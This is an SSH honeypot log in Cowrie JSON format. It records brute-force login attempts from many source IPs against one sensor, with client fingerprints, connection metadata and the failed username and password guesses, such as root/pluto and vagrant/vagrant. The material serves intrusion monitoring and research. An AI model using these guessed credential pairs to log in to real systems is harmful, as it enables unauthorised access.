{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:00.804561Z","src_ip":"156.38.73.89","session":"6fe2189704a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:01.679213Z","src_ip":"156.38.73.89","session":"6fe2189704a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:02.894012Z","src_ip":"156.38.73.89","session":"6fe2189704a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":55468,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a42c754ca14","protocol":"ssh","message":"New connection: 20.87.219.67:55468 (159.203.135.109:22) [session: 4a42c754ca14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:07.686246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:07.691175Z","src_ip":"20.87.219.67","session":"4a42c754ca14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:07.921026Z","src_ip":"20.87.219.67","session":"4a42c754ca14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:08.872848Z","src_ip":"20.87.219.67","session":"4a42c754ca14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:10.105795Z","src_ip":"20.87.219.67","session":"4a42c754ca14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":53232,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e7de7579662","protocol":"ssh","message":"New connection: 122.176.122.24:53232 (159.203.135.109:22) [session: 5e7de7579662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:15.000446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:15.005469Z","src_ip":"122.176.122.24","session":"5e7de7579662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:15.278100Z","src_ip":"122.176.122.24","session":"5e7de7579662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"123","message":"login attempt [vpnuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:16.390076Z","src_ip":"122.176.122.24","session":"5e7de7579662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:17.669124Z","src_ip":"122.176.122.24","session":"5e7de7579662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.247","src_port":50318,"dst_ip":"159.203.135.109","dst_port":22,"session":"d637bdbcda81","protocol":"ssh","message":"New connection: 196.92.7.247:50318 (159.203.135.109:22) [session: d637bdbcda81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:19.885096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:19.889669Z","src_ip":"196.92.7.247","session":"d637bdbcda81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:20.014936Z","src_ip":"196.92.7.247","session":"d637bdbcda81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluto","message":"login attempt [root/pluto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:20.541485Z","src_ip":"196.92.7.247","session":"d637bdbcda81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:21.669113Z","src_ip":"196.92.7.247","session":"d637bdbcda81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":38748,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fc5b43e7a92","protocol":"ssh","message":"New connection: 31.59.89.180:38748 (159.203.135.109:22) [session: 5fc5b43e7a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:40.658464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:40.663594Z","src_ip":"31.59.89.180","session":"5fc5b43e7a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:40.768769Z","src_ip":"31.59.89.180","session":"5fc5b43e7a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viktor","password":"viktor","message":"login attempt [viktor/viktor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:41.224747Z","src_ip":"31.59.89.180","session":"5fc5b43e7a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:42.334794Z","src_ip":"31.59.89.180","session":"5fc5b43e7a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":55732,"dst_ip":"159.203.135.109","dst_port":22,"session":"29528817abe9","protocol":"ssh","message":"New connection: 20.203.42.204:55732 (159.203.135.109:22) [session: 29528817abe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:52.017718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:52.023043Z","src_ip":"20.203.42.204","session":"29528817abe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:52.186309Z","src_ip":"20.203.42.204","session":"29528817abe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Password1234","message":"login attempt [azureuser/Password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:52.897335Z","src_ip":"20.203.42.204","session":"29528817abe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:54.204241Z","src_ip":"20.203.42.204","session":"29528817abe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":36004,"dst_ip":"159.203.135.109","dst_port":22,"session":"18e1b77e5b81","protocol":"ssh","message":"New connection: 103.27.238.116:36004 (159.203.135.109:22) [session: 18e1b77e5b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:17.022088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:17.029460Z","src_ip":"103.27.238.116","session":"18e1b77e5b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":51772,"dst_ip":"159.203.135.109","dst_port":22,"session":"56be2daf597e","protocol":"ssh","message":"New connection: 103.107.60.45:51772 (159.203.135.109:22) [session: 56be2daf597e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:17.229959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:17.251667Z","src_ip":"103.107.60.45","session":"56be2daf597e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:17.296952Z","src_ip":"103.27.238.116","session":"18e1b77e5b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:17.473068Z","src_ip":"103.107.60.45","session":"56be2daf597e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123-123","message":"login attempt [root/123-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:18.104600Z","src_ip":"103.27.238.116","session":"18e1b77e5b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluto","message":"login attempt [root/pluto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:18.371625Z","src_ip":"103.107.60.45","session":"56be2daf597e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42426,"dst_ip":"159.203.135.109","dst_port":22,"session":"57a69d7c7367","protocol":"ssh","message":"New connection: 103.27.238.120:42426 (159.203.135.109:22) [session: 57a69d7c7367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:18.379452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:18.385226Z","src_ip":"103.27.238.120","session":"57a69d7c7367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:18.659531Z","src_ip":"103.27.238.120","session":"57a69d7c7367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:19.374995Z","src_ip":"103.27.238.116","session":"18e1b77e5b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ltleirf","message":"login attempt [root/ltleirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:19.486018Z","src_ip":"103.27.238.120","session":"57a69d7c7367","protocol":"ssh"}
